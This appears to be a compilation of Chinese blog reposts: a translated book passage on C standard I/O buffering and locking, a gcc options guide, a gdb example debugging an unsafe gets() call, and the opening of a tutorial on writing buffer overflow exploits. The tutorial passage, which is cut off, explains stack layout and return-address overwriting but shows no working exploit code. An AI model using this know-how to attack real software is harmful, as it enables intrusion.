一些标准I/O接口,如fread(),与调用者的侦错交流很差,因为它们没有提供任何机制去辨别一般出错还是文件结束。
对于这些函数以及其他的一些情况,检查给定流的状态以确定是否出错或到达文件结束是很有用的。
标准I / O提供了两个接口来达到这一目的。
函数ferror()就是用来测试流上是否有出错标记的。
include <stdio.h>
int ferror (FILE *stream);
出错标记是由其他标准I/O接口为了响影出错情况而设置的。
如果出错标记被设置,函数返为一个非零值,否则返回。
函数feof()测试stream上是否有EOF标记。
include <stdio.h>
int feof (FILE *stream);
EOF标记是由其他标准函数为了响文件结束而设置的。
如果该标记被设置,函数返回非0值,否则返回0.
clearerr()函数用来清除stream的出错和EOF标记。
#include <stdio.h>
void clearerr (FILE *stream);
76 | Chapter 3: Buffered I/O
---------------------------------
该函数没有返回值并且不会失败(没有办法知道实参stream是否合法)。
clearerr()只应该在检查错误和EOF标记之后调用,因为它们会被不可挽回地丢弃。
比如:
/* 'f' 是一个合法的流 */
if (ferror (f))
printf ("Error on f!\n");
if (feof (f))
printf ("EOF on f!\n");
clearerr (f);
获取相应的文件描述符
有时,获取支持给定流的文件描述符是有利的。
比如,当没有相应的标准I/O函数时,通过文件描述符进行系统调用是很有用的。
fileno()用来获取支持流的文件描述符:
#include <stdio.h>
int fileno (FILE *stream);
调用成功时fileno()返回与stream相对应的文件描述符。
失败时返回-1,这只能发生在当实参stream非法的情况,此时函数置出错标记EBADF.
通常不建议混合地使用标准I/O函数与系统调用。
程序员必须谨慎使用fileno()以确保适当的行为。
操控缓冲区
标准I/O实现了三种类型的缓冲区,并且为开发者提供了一个接口来操作缓冲类型及缓冲区大小.
不同类型的用户缓冲区服务于不同的目的,并且分别适合不同的情况.下面是这些选择:
无缓冲
不进行任何用户态缓冲,数据直接提交给内核处理.
这是用户态缓冲的对立面,因此此选项是不常用的.
默认情况下,标准错误(stderr)属于此类型.
Controlling the Buffering | 77
行缓冲
缓冲是以每一行为基础的.
每个换行符将使缓冲提交给内核.
行缓冲对于向屏幕输出的流是有意义的.
因此,这是终端的却省缓冲(标准输出stdout默认是行缓冲的).
块缓冲
缓冲是以块为单位进行的.
这就是我们在本章开头提到的缓冲类型,它对文件操作来说是最理想的选择.
所有与文件相关的流都是块缓冲的.
标准I/O对此使用的术语是全缓冲.
在大多数情况下,默认的缓冲类型是正确的和最佳的。但是,标准I/O也确实提供了一个接口来控制所用缓冲的类型:
#include <stdio.h>
int setvbuf (FILE *stream, char *buf, int mode, size_t size);
setvbuf()函数将流stream的缓冲类型设置为模式mode,可选模式有:
_IONBF
无缓冲
_IOLBF
行缓冲
_IOFBF
块缓冲
模式为_IONBF时,buf和size的值被忽略,其他模式下,buf可以指向一个大小为size的缓冲区,标准I/O会将它用作流stream的缓冲区.
如果buf为NULL,glibc会自动为其分配一个缓冲区.
必须在打开流后,并且所有对流的其他操作被调用之前,才能调用setvbuf().
成功,返回0,否则返回一个非0值.
如果人为地提供了缓冲区,那么它必须在流关闭之前一直存在.
一个常见的错误是在一个作用域里声明一个缓冲,但是这个作用域比流更早地结束了.
特别地,注意不要在main()里提供一个局部缓冲区,然后却没有明确地关闭流.
比如,下面是一个错误的例子:
#include <stdio.h>
int main (void)
{
char buf[BUFSIZ];
/* set stdin to block-buffered with a BUFSIZ buffer */
setvbuf (stdout, buf, _IOFBF, BUFSIZ);
78 | Chapter 3: Buffered I/O
printf ("Arrr!\n");
return 0;
}
---------------------------------
可以这样修复这个错误:在退出作用域之前显式地关闭流,或者将buf设为全局变量.
一般来说,开发人员没有必要参与流上的缓冲区.
除了stderr外,终端是行缓冲的才有意义.
文件是块缓冲的才有意义.
默认的缓冲区大小是BUFSIZ,它的定义在<stdio.h>,通常情况下这个值(一个典型块大小的很多倍)是最优的选择.
线程安全
一簇线程共同运行在同一进程的空间中.
和它等同的概念是多相进程共享同一地地空间.
线程可以运行在任何时间,而且可以覆盖共享数据,只要注意同步地访问数据,或者使数据成为线程局部所有的.
支持线程的操作系统都提供了锁机制(编程结构,以保证线程之间相斥)来确保线程不会改写其他线程的数据.
标准I/O使用这些机制,仅有这些当然是不够的.
比如,有时你会想要锁住一组函数调用,增大临界区(不被其他线程干涉的大块代码)的作用范围.
而在另一些情况下,你可能希望完全取消锁机制来提高效率.
在本节中,我们会分别讨论这两种情况的实现.
标准I/O函数天生就是线程安全的.
在内部,这些函数联合了一把锁,一个锁计数器,并且它们被每个流的其中一个线程拥有.
任何指定的线程必须获取了锁才能进行I/O请求.
同一个流上的不同线程不能进行交错地进行标准I/O操作,
因此,在单一的函数调用范围内,标准I/O操作是原子操作.
当然在实践中许多应用中需要比单独的函数调用更大意义上的原子操作.
比如,如果多个线程都有写请求,虽然个别写并不会交错,也导致乱码输出,
但也许程序想要每个写操作不被打断,一次性完成.
为此,标准I/O提供了一组函数用来单独地操控与流相关的锁.
通常情况下,消除锁将导致各种各样的问题.
但是一些程序可能会明确地将所有的I/O操作都委托给单独一个线程.
在那种情况下,就没必要锁的开销.
Thread Safety | 79
手动文件锁
调用函数flockfile()时,线程会堵塞直到流没有被锁上,
然后获得锁,增加锁计数器,成为拥有锁的线程,最后返回:
#include <stdio.h>
void flockfile (FILE *stream);
函数funlockfile()减少流相关联的锁计数器:
#include <stdio.h>
void funlockfile (FILE *stream);
如果锁计数器达到零时,当前线程放弃流的所有权,
另一个线程现在可以获得这个锁.
这些函数嵌套调用.也就是说,一个单独的线程可以多次调用flockfile(),
并且流不会被解锁除非该进程调用了同样次数的funlockfile().
ftrylockfile()是flockfile()的一个非阻塞版本.
#include <stdio.h>
int ftrylockfile (FILE *stream);
如果流目前被锁定,则ftrylockfile()什么都不做立即返回一个非0值.
如果流目前没有被锁定,当前线程获得锁,增加锁计数器,成为拥有锁的线程,并且返回0.
Let’s consider an example:
我们看一个例子:
flockfile (stream);
fputs ("List of treasure:\n", stream);
fputs (" (1) 500 gold coins\n", stream);
fputs (" (2) Wonderfully ornate dishware\n", stream);
funlockfile (stream);
虽然单独的fputs()操作永远不会产生竞争,比如我们不可能打断"List of treasure",
但是如果来自别的线程中的标准I/O操作也对同一个流进行访问,则有可能打断连续的两个fputs().
理想的情况下,一个应用中多个线程不会访问同一个流.
但是,如果你的程序确实有这种需求的话,你需要一个比单独调用函数更大范围的原子操作
那么flockfile()家族可以帮你扭转败局.
80 | Chapter 3: Buffered I/O
-----------------
为流解锁
还有第二个原因进行手动锁流.
随着对锁的控制粒度更加细化和精确化,而这些操作只能有程序员进行,
有可能需要尽量减少锁的开销来提高性能.
为此,Linux 提供了另外一组函数,它们就像普通标准I/O接口的姊妹组,
他们不进行任何锁操作,实际上他们是标准I/O对应的非加锁版本.
#define _GNU_SOURCE
#include <stdio.h>
int fgetc_unlocked (FILE *stream);
char *fgets_unlocked (char *str, int size, FILE *stream);
size_t fread_unlocked (void *buf, size_t size, size_t nr,
FILE *stream);
int fputc_unlocked (int c, FILE *stream);
int fputs_unlocked (const char *str, FILE *stream);
size_t fwrite_unlocked (void *buf, size_t size, size_t nr,
FILE *stream);
int fflush_unlocked (FILE *stream);
int feof_unlocked (FILE *stream);
int ferror_unlocked (FILE *stream);
int fileno_unlocked (FILE *stream);
void clearerr_unlocked (FILE *stream);
这些函数的功能和对应带锁机制的姊妹函数相同,只是前者不会检查或获取指定流上的锁.
程序员有责任确保在需要的时候,锁能被正确地手动获得和释放.
虽然POSIX确实定义了一些标准I/O函数的非带锁版本,但是上面的函数一个也不在POSIX范围内.
它们都是Linux特色的,尽管其他Unix的变种支持其中的一部分.
评价标准I/O
正如被广泛应用一样,标准I/O也广泛地被专家挑出缺陷.
有些函数如fgets()的功能是不够的.
有些函数如gets()是如此可怕以致于快被逐出标准库了.
影响标准I/O性能的头号杀手是双复本.
读数据时,标准I/O发起一个系统调用read()到内核,将数据从内核拷到标准I/O缓冲区.
然后当应用程序通过标准I/O发起一个读请求,比如fgetc(),那么数据会被第二次被拷贝,
这次是从标准I/O的缓冲区拷贝到应用程序提供的缓冲区.
写操作以相反的方式工作:一次是将数据从程序缓冲区拷贝到标准I/O的缓冲区,
然后又被函数write()拷贝到内核.
Critiques of Standard I/O | 81
一个预防双复本实现方法是,每次读请求都返回一个指向标准I/O缓冲区的一个指针.
那么数据就可以直接被从标准I/O缓冲区里读取,不必再进行一次额外的拷贝.
如果确实需要将数据写入程序内部自己的缓冲区中,比如要对它进行更新,那么总是可以进行手动拷贝.
这个实现过程可以提供一个"免费"的接口:当应用程序结束了对给定读缓冲区的操作时,允许其向外发信号.
写操作可能会麻烦一点,但是仍然可以避免双副本.
当发起写请求时,记录下指针.
最后,当要刷新缓冲区数据到内核时,可以遍历所记录的指针,由此将数据写出.
这可以使用分散-收集的I/O,只需要一个系统调用writev()。
(我们将在接下来的一章中讨论到分散-收集的I/O.)
C库中存在高度优化的用户缓冲机制,它解决双副本的方法跟我们刚才讨论的很相似.
另外,一些开发者选择去实现自己的用户缓冲方案.
尽管有这些代替品,标准I/O依然很受欢迎.
总结
标准I/O是由标准C库提供的一个用户态缓冲库.
除去一点小的缺陷,它是一个强大的,非常受欢迎的解决方案。
许多C程序员,事实上,只知道标准的I/O.
当然,对终端I/O来说,基于行的缓冲是理想的,这只能标准I/O来实现.
谁会直接调用write()来打印数据到标准输出?
通常情况下,标准I/O及用户态缓冲区在处理下面情况时才有意义:
. 你可能会频繁进行系统调用,并且你想要通过合并系统调用来尽量减少开销.
. 性能是至关重要的,并且你想要确保所有的I/O操作都是以块大小的整数倍为单位,还要保证块对齐.
. 你的访问模式是以字符或行为基础的,你想要一些函数来满足这种要求,并且不通过不相干的系统调用.
. 比起低级别的Linux系统调用,你更喜欢高级别的接口.
然而,最大的灵活性还是存在于当你直接跟linux系统函数打交道的时候.
下一章中,我们将学习高级形式的I/O以及对应的系统调用.
gcc编译器命令(转)
immicf 发表于 2009-04-09 16:13:30
gcc/g++在执行编译工作的时候,总共需要4步
1.预处理,生成.i的文件[预处理器cpp]
2.将预处理后的文件不转换成汇编语言,生成文件.s[编译器egcs]
3.有汇编变为目标代码(机器代码)生成.o的文件[汇编器as]
4.连接目标代码,生成可执行程序[链接器ld]
[参数详解]
-x language filename
设定文件所使用的语言,使后缀名无效,对以后的多个有效.也就是根
据约定C语言的后缀名称是.c的,而C++的后缀名是.C或者.cpp,如果
你很个性,决定你的C代码文件的后缀名是.pig 哈哈,那你就要用这
个参数,这个参数对他后面的文件名都起作用,除非到了下一个参数
的使用。
可以使用的参数吗有下面的这些
`c', `objective-c', `c-header', `c++', `cpp-output',
`assembler', and `assembler-with-cpp'.
看到英文,应该可以理解的。
例子用法:
gcc -x c hello.pig
-x none filename
关掉上一个选项,也就是让gcc根据文件名后缀,自动识别文件类型
例子用法:
gcc -x c hello.pig -x none hello2.c
-c
只激活预处理,编译,和汇编,也就是他只把程序做成obj文件
例子用法:
gcc -c hello.c
他将生成.o的obj文件
-S
只激活预处理和编译,就是指把文件编译成为汇编代码。
例子用法
gcc -S hello.c
他将生成.s的汇编代码,你可以用文本编辑器察看
-E
只激活预处理,这个不生成文件,你需要把它重定向到一个输出文件里
面.
例子用法:
gcc -E hello.c > pianoapan.txt
gcc -E hello.c | more
慢慢看吧,一个hello word 也要与处理成800行的代码
-o
制定目标名称,缺省的时候,gcc 编译出来的文件是a.out,很难听,如果
你和我有同感,改掉它,哈哈
例子用法
gcc -o hello.exe hello.c (哦,windows用习惯了)
gcc -o hello.asm -S hello.c
-pipe
使用管道代替编译中临时文件,在使用非gnu汇编工具的时候,可能有些问
题
gcc -pipe -o hello.exe hello.c
-ansi
关闭gnu c中与ansi c不兼容的特性,激活ansi c的专有特性(包括禁止一
些asm inline typeof关键字,以及UNIX,vax等预处理宏,
-fno-asm
此选项实现ansi选项的功能的一部分,它禁止将asm,inline和typeof用作
关键字。
-fno-strict-prototype
只对g++起作用,使用这个选项,g++将对不带参数的函数,都认为是没有显式
的对参数的个数和类型说明,而不是没有参数.
而gcc无论是否使用这个参数,都将对没有带参数的函数,认为城没有显式说
明的类型
-fthis-is-varialble
就是向传统c++看齐,可以使用this当一般变量使用.
-fcond-mismatch
允许条件表达式的第二和第三参数类型不匹配,表达式的值将为void类型
-funsigned-char
-fno-signed-char
-fsigned-char
-fno-unsigned-char
这四个参数是对char类型进行设置,决定将char类型设置成unsigned char(前
两个参数)或者 signed char(后两个参数)
-include file
包含某个代码,简单来说,就是便以某个文件,需要另一个文件的时候,就可以
用它设定,功能就相当于在代码中使用#include<filename>
例子用法:
gcc hello.c -include /root/pianopan.h
-imacros file
将file文件的宏,扩展到gcc/g++的输入文件,宏定义本身并不出现在输入文件
中
-Dmacro
相当于C语言中的#define macro
-Dmacro=defn
相当于C语言中的#define macro=defn
-Umacro
相当于C语言中的#undef macro
-undef
取消对任何非标准宏的定义
-Idir
在你是用#include"file"的时候,gcc/g++会先在当前目录查找你所制定的头
文件,如果没有找到,他回到缺省的头文件目录找,如果使用-I制定了目录,他
回先在你所制定的目录查找,然后再按常规的顺序去找.
对于#include<file>,gcc/g++会到-I制定的目录查找,查找不到,然后将到系
统的缺省的头文件目录查找
-I-
就是取消前一个参数的功能,所以一般在-Idir之后使用
-idirafter dir
在-I的目录里面查找失败,讲到这个目录里面查找.
-iprefix prefix
-iwithprefix dir
一般一起使用,当-I的目录查找失败,会到prefix+dir下查找
-nostdinc
使编译器不再系统缺省的头文件目录里面找头文件,一般和-I联合使用,明确
限定头文件的位置
-nostdin C++
规定不在g++指定的标准路经中搜索,但仍在其他路径中搜索,.此选项在创建
libg++库使用
-C
在预处理的时候,不删除注释信息,一般和-E使用,有时候分析程序,用这个很
方便的
-M
生成文件关联的信息。包含目标文件所依赖的所有源代码
你可以用gcc -M hello.c来测试一下,很简单。
-MM
和上面的那个一样,但是它将忽略由#include<file>造成的依赖关系。
-MD
和-M相同,但是输出将导入到.d的文件里面
-MMD
和-MM相同,但是输出将导入到.d的文件里面
-Wa,option
此选项传递option给汇编程序;如果option中间有逗号,就将option分成多个选
项,然后传递给会汇编程序
-Wl.option
此选项传递option给连接程序;如果option中间有逗号,就将option分成多个选
项,然后传递给会连接程序.
-llibrary
制定编译的时候使用的库
例子用法
gcc -lcurses hello.c
使用ncurses库编译程序
-Ldir
制定编译的时候,搜索库的路径。比如你自己的库,可以用它制定目录,不然
编译器将只在标准库的目录找。这个dir就是目录的名称。
-O0
-O1
-O2
-O3
编译器的优化选项的4个级别,-O0表示没有优化,-O1为缺省值,-O3优化级别最
高
-g
只是编译器,在编译的时候,产生条是信息。
-gstabs
此选项以stabs格式声称调试信息,但是不包括gdb调试信息.
-gstabs+
此选项以stabs格式声称调试信息,并且包含仅供gdb使用的额外调试信息.
-ggdb
此选项将尽可能的生成gdb的可以使用的调试信息.
-static
此选项将禁止使用动态库,所以,编译出来的东西,一般都很大,也不需要什么
动态连接库,就可以运行.
-share
此选项将尽量使用动态库,所以生成文件比较小,但是需要系统由动态库.
-traditional
试图让编译器支持传统的C语言特性
GNU 的调试器称为 gdb,该程序是一个交互式工具,工作在字符模式。在 X Window 系统中,有一个 gdb 的
前端图形工具,称为 xxgdb。gdb 是功能强大的调试程序,可完成如下的调试任务:
* 设置断点;
* 监视程序变量的值;
* 程序的单步执行;
* 修改变量的值。
在可以使用 gdb 调试程序之前,必须使用 -g 选项编译源文件。可在 makefile 中如下定义 CFLAGS 变量:
CFLAGS = -g
运行 gdb 调试程序时通常使用如下的命令:
gdb progname
在 gdb 提示符处键入help,将列出命令的分类,主要的分类有:
* aliases:命令别名
* breakpoints:断点定义;
* data:数据查看;
* files:指定并查看文件;
* internals:维护命令;
* running:程序执行;
* stack:调用栈查看;
* statu:状态查看;
* tracepoints:跟踪程序执行。
键入 help 后跟命令的分类名,可获得该类命令的详细清单。
#DENO#
gdb 的常用命令
表 1-4 常用的 gdb 命令
命令 解释
break NUM 在指定的行上设置断点。
bt 显示所有的调用栈帧。该命令可用来显示函数的调用顺序。
clear 删除设置在特定源文件、特定行上的断点。其用法为:clear FILENAME:NUM。
continue 继续执行正在调试的程序。该命令用在程序由于处理信号或断点而
导致停止运行时。
display EXPR 每次程序停止后显示表达式的值。表达式由程序定义的变量组成。
file FILE 装载指定的可执行文件进行调试。
help NAME 显示指定命令的帮助信息。
info break 显示当前断点清单,包括到达断点处的次数等。
info files 显示被调试文件的详细信息。
info func 显示所有的函数名称。
info local 显示当函数中的局部变量信息。
info prog 显示被调试程序的执行状态。
info var 显示所有的全局和静态变量名称。
kill 终止正被调试的程序。
list 显示源代码段。
make 在不退出 gdb 的情况下运行 make 工具。
next 在不单步执行进入其他函数的情况下,向前执行一行源代码。
print EXPR 显示表达式 EXPR 的值。
1.8.5 gdb 使用范例
-----------------
清单 一个有错误的 C 源程序 bugging.c
-----------------
#include
#include
static char buff [256];
static char* string;
int main ()
{
printf ("Please input a string: ");
gets (string);
printf ("\nYour string is: %s\n", string);
}
-----------------
上面这个程序非常简单,其目的是接受用户的输入,然后将用户的输入打印出来。该程序使用了一个未经过初
始化的字符串地址 string,因此,编译并运行之后,将出现 Segment Fault 错误:
$ gcc -o test -g test.c
$ ./test
Please input a string: asfd
Segmentation fault (core dumped)
为了查找该程序中出现的问题,我们利用 gdb,并按如下的步骤进行:
1.运行 gdb bugging 命令,装入 bugging 可执行文件;
2.执行装入的 bugging 命令;
3.使用 where 命令查看程序出错的地方;
4.利用 list 命令查看调用 gets 函数附近的代码;
5.唯一能够导致 gets 函数出错的因素就是变量 string。用 print 命令查看 string 的值;
6.在 gdb 中,我们可以直接修改变量的值,只要将 string 取一个合法的指针值就可以了,为此,我们在第
11 行处设置断点;
7.程序重新运行到第 11 行处停止,这时,我们可以用 set variable 命令修改 string 的取值;
8.然后继续运行,将看到正确的程序运行结果。
GCC 命令行详解
immicf 发表于 2009-04-09 16:11:16
gcc,cc,c++,g++,gcc和cc是一样的,c++和g++是一样的,(没有看太明白前面这半句是什
么意思:))一般c程序就用gcc编译,c++程序就用g++编译
2。gcc的基本用法
gcc test.c这样将编译出一个名为a.out的程序
gcc test.c -o test这样将编译出一个名为test的程序,-o参数用来指定生成程序的名
字
3。为什么会出现undefined reference to 'xxxxx'错误?
首先这是链接错误,不是编译错误,也就是说如果只有这个错误,说明你的程序源码本
身没有问题,是你用编译器编译时参数用得不对,你没
有指定链接程序要用到得库,比如你的程序里用到了一些数学函数,那么你就要在编译
参数里指定程序要链接数学库,方法是在编译命令行里加入-lm。
4。-l参数和-L参数
-l参数就是用来指定程序要链接的库,-l参数紧接着就是库名,那么库名跟真正的库文
件名有什么关系呢?
就拿数学库来说,他的库名是m,他的库文件名是libm.so,很容易看出,把库文件名的
头lib和尾.so去掉就是库名了。
好了现在我们知道怎么得到库名了,比如我们自已要用到一个第三方提供的库名字叫lib
test.so,那么我们只要把libtest.so拷贝到/usr/lib
里,编译时加上-ltest参数,我们就能用上libtest.so库了(当然要用libtest.so库里
的函数,我们还需要与libtest.so配套的头文件)。
放在/lib和/usr/lib和/usr/local/lib里的库直接用-l参数就能链接了,但如果库文件
没放在这三个目录里,而是放在其他目录里,这时我们
只用-l参数的话,链接还是会出错,出错信息大概是:“/usr/bin/ld: cannot find
-lxxx”,也就是链接程序ld在那3个目录里找不到
libxxx.so,这时另外一个参数-L就派上用场了,比如常用的X11的库,它放在/usr/X11R
6/lib目录下,我们编译时就要用-L/usr/X11R6/lib -
lX11参数,-L参数跟着的是库文件所在的目录名。再比如我们把libtest.so放在/aaa/bb
b/ccc目录下,那链接参数就是-L/aaa/bbb/ccc -ltest
另外,大部分libxxxx.so只是一个链接,以RH9为例,比如libm.so它链接到/lib/libm.s
o.x,/lib/libm.so.6又链接到/lib/libm-2.3.2.so,
如果没有这样的链接,还是会出错,因为ld只会找libxxxx.so,所以如果你要用到xxxx
库,而只有libxxxx.so.x或者libxxxx-x.x.x.so,做一
个链接就可以了ln -s libxxxx-x.x.x.so libxxxx.so
手工来写链接参数总是很麻烦的,还好很多库开发包提供了生成链接参数的程序,名字
一般叫xxxx-config,一般放在/usr/bin目录下,比如
gtk1.2的链接参数生成程序是gtk-config,执行gtk-config --libs就能得到以下输出"-
L/usr/lib -L/usr/X11R6/lib -lgtk -lgdk -rdynamic
-lgmodule -lglib -ldl -lXi -lXext -lX11 -lm",这就是编译一个gtk1.2程序所需的g
tk链接参数,xxx-config除了--libs参数外还有一个参
数是--cflags用来生成头文
件包含目录的,也就是-I参数,在下面我们将会讲到。你可以试试执行gtk-config
--libs --cflags,看看输出结果。
现在的问题就是怎样用这些输出结果了,最笨的方法就是复制粘贴或者照抄,聪明的办
法是在编译命令行里加入这个`xxxx-config --libs --
cflags`,比如编译一个gtk程序:gcc gtktest.c `gtk-config --libs --cflags`这样
就差
不多了。注意`不是单引号,而是1键左边那个键。
除了xxx-config以外,现在新的开发包一般都用pkg-config来生成链接参数,使用方法
跟xxx-config类似,但xxx-config是针对特定的开发包
,但pkg-config包含很多开发包的链接参数的生成,用pkg-config --list-all命令可以
列出所支持的所有开发包,pkg-config的用法就是pkg
-config pagName --libs --cflags,其中pagName是包名,是pkg-config--list-all里
列出名单中的一个,比如gtk1.2的名字就是gtk+,pkg-
config gtk+ --libs --cflags的作用跟gtk-config --libs --cflags是一样的。比如:
gcc gtktest.c `pkg-config gtk+ --libs --cflags`
。
5。-include和-I参数
-include用来包含头文件,但一般情况下包含头文件都在源码里用#include xxxxxx实现
,-include参数很少用。-I参数是用来指定头文件目录
,/usr/include目录一般是不用指定的,gcc知道去那里找,但是如果头文件不在/usr/i
nclude里我们就要用-I参数指定了,比如头文件放
在/myinclude目录里,那编译命令行就要加上-I/myinclude参数了,如果不加你会得到
一个"xxxx.h: No such file or directory"的错误。-I
参数可以用相对路径,比如头文件在当前目录,可以用-I.来指定。上面我们提到的--cf
lags参数就是用来生成-I参数的。
6。-O参数
这是一个程序优化参数,一般用-O2就是,用来优化程序用的,比如gcc test.c -O2,优
化得到的程序比没优化的要小,执行速度可能也有所提
高(我没有测试过)。
7。-shared参数
编译动态库时要用到,比如gcc -shared test.c -o libtest.so
8。几个相关的环境变量
PKG_CONFIG_PATH:用来指定pkg-config用到的pc文件的路径,默认是/usr/lib/pkgconf
ig,pc文件是文本文件,扩展名是.pc,里面定义开发
包的安装路径,Libs参数和Cflags参数等等。
CC:用来指定c编译器。
CXX:用来指定cxx编译器。
LIBS:跟上面的--libs作用差不多。
CFLAGS:跟上面的--cflags作用差不多。
CC,CXX,LIBS,CFLAGS手动编译时一般用不上,在做configure时有时用到,一般情况
下不用管。
环境变量设定方法:export ENV_NAME=xxxxxxxxxxxxxxxxx
9。关于交叉编译
交叉编译通俗地讲就是在一种平台上编译出能运行在体系结构不同的另一种平台上,比
如在我们地PC平台(X86 CPU)上编译出能运行在sparc
CPU平台上的程序,编译得到的程序在X86 CPU平台上是不能运行的,必须放到sparc
CPU平台上才能运行。
当然两个平台用的都是linux。
这种方法在异平台移植和嵌入式开发时用得非常普遍。
相对与交叉编译,我们平常做的编译就叫本地编译,也就是在当前平台编译,编译得到
的程序也是在本地执行。
用来编译这种程序的编译器就叫交叉编译器,相对来说,用来做本地编译的就叫本地编
译器,一般用的都是gcc,但这种gcc跟本地的gcc编译器
是不一样的,需要在编译gcc时用特定的configure参数才能得到支持交叉编译的gcc。
为了不跟本地编译器混淆,交叉编译器的名字一般都有前缀,比如sparc-xxxx-linux-gn
u-gcc,sparc-xxxx-linux-gnu-g++ 等等
10。交叉编译器的使用方法
使用方法跟本地的gcc差不多,但有一点特殊的是:必须用-L和-I参数指定编译器用spar
c系统的库和头文件,不能用本地(X86)
的库(头文件有时可以用本地的)。
例子:
sparc-xxxx-linux-gnu-gcc test.c -L/path/to/sparcLib -I/path/to/sparcInclude
如何编写自己的缓冲区溢出利用程序-zz
immicf 发表于 2009-04-07 23:22:21
本文并不介绍如何编写shell code.
要求: 读者要有一点C和汇编语言基础.
目标: 希望本文能够尽量做到通熟易懂,使得稍有计算机基础知识的朋友看后能够亲自动手写自己的Exploit
如果你觉得自己对这些都懂了, 就请不要再往下看了.
第一部份 概述篇
1. Buffer overflow是如何产生的?
所谓Buffer overflow, 中文译为缓冲区溢出. 顾名思意, 就是说所用的缓冲区太小了, 以至装不下
那么多的东西, 多出来的东西跑出来了. 就好象是水缸装不了那么多的水, 硬倒太多会溢出来一样;)
那么, 在编程过程中为什么要用到buffer(缓冲区)呢? 简单的回答就是做为数据处理的中转站.
2. UNIX下C语言函数调用的机制及缓冲区溢出的利用.
1) 进程在内存中的影像.
我们假设现在有一个程序, 它的函数调用顺序如下.
main(...) -> func_1(...) -> func_2(...) -> func_3(...)
即: 主函数main调用函数func_1; 函数func_1调用函数func_2; 函数func_2调用函数func_3
当程序被操作系统调入内存运行, 其相对应的进程在内存中的影像如下图所示.
(内存高址)
+--------------------------------------+
| ...... | ... 省略了一些我们不需要关心的区
+--------------------------------------+
| env strings (环境变量字串) | /
+--------------------------------------+ /
| argv strings (命令行字串) | /
+--------------------------------------+ /
| env pointers (环境变量指针) | SHELL的环境变量和命令行参数保存区
+--------------------------------------+ /
| argv pointers (命令行参数指针) | /
+--------------------------------------+ /
| argc (命令行参数个数) | /
+--------------------------------------+
| main 函数的栈帧 | /
+--------------------------------------+ /
| func_1 函数的栈帧 | /
+--------------------------------------+ /
| func_2 函数的栈帧 | /
+--------------------------------------+ /
| func_3 函数的栈帧 | Stack (栈)
+......................................+ /
| | /
...... /
| | /
+......................................+ /
| Heap (堆) | /
+--------------------------------------+
| Uninitialised (BSS) data | 非初始化数据(BSS)区
+--------------------------------------+
| Initialised data | 初始化数据区
+--------------------------------------+
| Text | 文本区
+--------------------------------------+
(内存低址)
这里需要说明的是:
i) 随着函数调用层数的增加, 函数栈帧是一块块地向内存低地址方向延伸的.
随着进程中函数调用层数的减少, 即各函数调用的返回, 栈帧会一块块地
被遗弃而向内存的高址方向回缩.
各函数的栈帧大小随着函数的性质的不同而不等, 由函数的局部变量的数目决定.
ii) 进程对内存的动态申请是发生在Heap(堆)里的. 也就是说, 随着系统动态分
配给进程的内存数量的增加, Heap(堆)有可能向高址或低址延伸, 依赖于不
同CPU的实现. 但一般来说是向内存的高地址方向增长的.
iii) 在BSS数据或者Stack(栈)的增长耗尽了系统分配给进程的自由内存的情况下,
进程将会被阻塞, 重新被操作系统用更大的内存模块来调度运行.
(虽然和exploit没有关系, 但是知道一下还是有好处的)
iv) 函数的栈帧里包含了函数的参数(至于被调用函数的参数是放在调用函数的栈
帧还是被调用函数栈帧, 则依赖于不同系统的实现),
它的局部变量以及恢复调用该函数的函数的栈帧(也就是前一个栈帧)所需要的
数据, 其中包含了调用函数的下一条执行指令的地址.
v) 非初始化数据(BSS)区用于存放程序的静态变量, 这部分内存都是被初始化为零的.
初始化数据区用于存放可执行文件里的初始化数据.
这两个区统称为数据区.
vi) Text(文本区)是个只读区, 任何尝试对该区的写操作会导致段违法出错. 文本区
是被多个运行该可执行文件的进程所共享的. 文本区存放了程序的代码.
2) 函数的栈帧.
函数调用时所建立的栈帧包含了下面的信息:
i) 函数的返回地址. 返回地址是存放在调用函数的栈帧还是被调用函数的栈帧里,
取决于不同系统的实现.
ii) 调用函数的栈帧信息, 即栈顶和栈底.
iii) 为函数的局部变量分配的空间
iv) 为被调用函数的参数分配的空间--取决于不同系统的实现.
3) 缓冲区溢出的利用.
从函数的栈帧结构可以看出:
由于函数的局部变量的内存分配是发生在栈帧里的, 所以如果我们在某一个函数里定义
了缓冲区变量, 则这个缓冲区变量所占用的内存空间是在该函数被调用时所建立的栈帧里.
由于对缓冲区的潜在操作(比如字串的复制)都是从内存低址到高址的, 而内存中所保存
的函数调用返回地址往往就在该缓冲区的上方(高地址)--这是由于栈的特性决定的, 这
就为复盖函数的返回地址提供了条件. 当我们有机会用大于目标缓冲区大小的内容来向
缓冲区进行填充时, 就有可以改写函数保存在函数栈帧中的返回地址, 从而使程序的执
行流程随着我们的意图而转移. 换句话来说, 进程接受了我们的控制. 我们可以让进程
改变原来的执行流程, 去执行我们准备好的代码.
这是冯.诺曼计算机体系结构的缺陷.
下面是缓冲区溢出利用的示意图:
i) 函数对字串缓冲区的操作, 方向一般都是从内存低址向高址的.
如: strcpy(s, "AAA.....");
s s+1 s+2 s+3 ...
+---+---+---+--------+---+...+
(内存低址) | A | A | A | ...... | A |...| (内存高址)
+---+---+---+--------+---+...+
ii) 函数返回地址的复盖
/ | ...... | (内存高址)
/ +--------------------+
调用函数栈帧 | 0x41414141 |
/ +--------------------+
/ | 0x41414141 | 调用函数的返回地址
/+--------------------+
/| ...... |
/ +--------------------+ s+8
/ | 0x41414141 |
/ +--------------------+ s+4
被调用函数栈帧 | 0x41414141 |
/ +--------------------+ s
/ | 0x41414141 |
/ +--------------------+
/| ...... |
+....................+
| ...... | (内存低址)
注: 字符A的十六进制ASCII码值为0x41.
iii) 从上图可以看出: 如果我们用的是进程可以访问的某个地址而不是0x41414141
来改写调用函数的返回地址, 而这个地址正好是我们准备好的代码的入口, 那么
进程将会执行我们的代码. 否则, 如果用的是进程无法访问的段的地址, 将会导
致进程崩馈--Segment Fault Core dumped (段出错内核转储); 如果该地址处有
无效的机器指令数据, 将会导致非法指令(Illigal Instruction)错误, 等等.
4) 缓冲区在Heap(堆)区或BBS区的情况
i) 如果缓冲区的内存空间是在函数里通过动态申请得到的(如: 用malloc()函数申请), 那
么在函数的栈帧中只是分配了存放指向Heap(堆)中相应申请到的内存空间的指针. 这种
情况下, 溢出是发生在(Heap)堆中的, 想要复盖相应的函数返回地址, 看来几乎是不可
能的. 这种情况的利用可能性要看具体情形, 但不是不可能的.
ii) 如果缓冲区在函数中定义为静态(static), 则缓冲区内存空间的位置在非初始化(BBS)区,
和在Heap(堆)中的情况差不多, 利用是可能的. 但还有一种特姝情况, 就是可以利用它来
